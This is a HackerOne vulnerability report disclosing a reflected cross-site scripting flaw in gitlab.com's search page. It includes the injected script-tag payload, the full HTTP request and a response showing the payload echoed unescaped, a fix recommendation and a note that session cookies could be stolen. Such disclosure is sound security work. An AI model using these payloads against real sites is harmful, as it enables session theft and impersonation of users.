Cross-Site-Scripting at https://gitlab.com/search page
HackerOne report #703590 by levence
on 2019-09-28, assigned to @cmaxim:
Vulnerability description
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
The vulnerability affects https://gitlab.com/search , search
Attack details
URL encoded GET input search
was set to the'"()&%<acx><ScRiPt >eDw0(9979)</ScRiPt>
HTTP request
GET /search?group_id=1&project_id=1&repository_ref=1&scope=projects&search=the'"()%26%25<acx><ScRiPt%20>eDw0(9979)</ScRiPt> HTTP/1.1
Referer: https://gitlab.com/
Connection: keep-alive
Cookie: _gitlab_session=REDACTED1;_sp_id.6b85=REDACTED2;_sp_ses.6b85=*
Authorization: Basic REDACTED3==
Accept: */*
Accept-Encoding: gzip,deflate
Host: gitlab.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
HTTP response
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 28 Sep 2019 21:27:04 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Cache-Control: max-age=0, private, must-revalidate
Content-Security-Policy: connect-src 'self' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net wss://gitlab.com https://sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net; frame-ancestors 'self'; frame-src 'self' https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com https://*.codesandbox.io; img-src * data: blob:; object-src 'none'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.gstatic.com/recaptcha/ https://apis.google.com 'nonce-A3ynEVDdvD87VQiv/HjHfw=='; style-src 'self' 'unsafe-inline' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net; worker-src https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://gitlab.com blob:
Etag: W/"a7126d9a680b1c57a7db48bdf98cb14d"
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: _gitlab_session=REDACTED4; path=/; expires=Sat, 28 Sep 2019 23:27:04 -0000; secure; HttpOnly
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 4L1sqBZHJ41
X-Runtime: 0.285532
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
GitLab-LB: fe-13-lb-gprd
GitLab-SV: web-04-sv-gprd
Original-Content-Encoding: gzip
Content-Length: 20468
<!DOCTYPE html>
<html class="" lang="en">
...
<div class="search_box">
<div class="search_glyph"></div>
<h4>
<i aria-hidden="true" data-hidden="true" class="fa fa-search"></i>
We couldn't find any projects matching <code>the'"()&%<acx><ScRiPt >eDw0(9979)</ScRiPt></code>
</h4>
</div>
...
</html>
How to fix this vulnerability
Apply context-dependent encoding and/or validation to user input rendered on a page.
Impact
Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.
Furthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!